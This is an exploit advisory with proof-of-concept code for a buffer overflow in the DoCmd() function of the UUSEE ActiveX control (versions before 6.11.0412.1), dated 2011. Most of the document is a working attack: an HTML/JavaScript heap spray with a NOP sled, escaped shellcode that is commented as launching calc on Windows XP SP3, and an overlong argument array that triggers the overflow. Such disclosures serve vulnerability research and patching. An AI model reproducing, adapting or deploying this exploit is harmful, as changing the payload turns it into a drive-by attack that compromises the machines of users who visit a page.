Exploit Title：UUSEE ActiveX <6.11.0412.1 buffer Overflow vulnerability
Versions ：<6.11.0412.1
Software Link: http://download.uusee.com/UUSee_Setup_2010.exe
Tested on: Windows xp-7
Date: 2011/6/11
Author :huimaozi
web:http://www.huimaozi.net/?p=122
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UUSEE.ocx ,DoCmd () function buffer Overflow .
//XP SP3 calc
<script language=”javascript”>
shellcode = unescape(“%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800″ +
“%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A” +
“%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350″ +
“%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40″ +
“%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000″ +
“%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040″ +
“%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD” +
“%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40″ +
“%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18″ +
“%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0″ +
“%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B” +
“%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24″ +
“%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9″ +
“%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C” +
“%u652E%u6578%u9000″);
nops=unescape(‘%u9090%u9090′);
headersize =20;
slackspace= headersize + shellcode.length;
while( nops.length< slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<262000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<2000; counter++) memory[ counter]= block+ shellcode;
var arg=Array();
for (i=0;i<=80;i++)
{
arg[i]=”\u1111″;
}
uusee.DoCmd(arg);
</script>
</html>
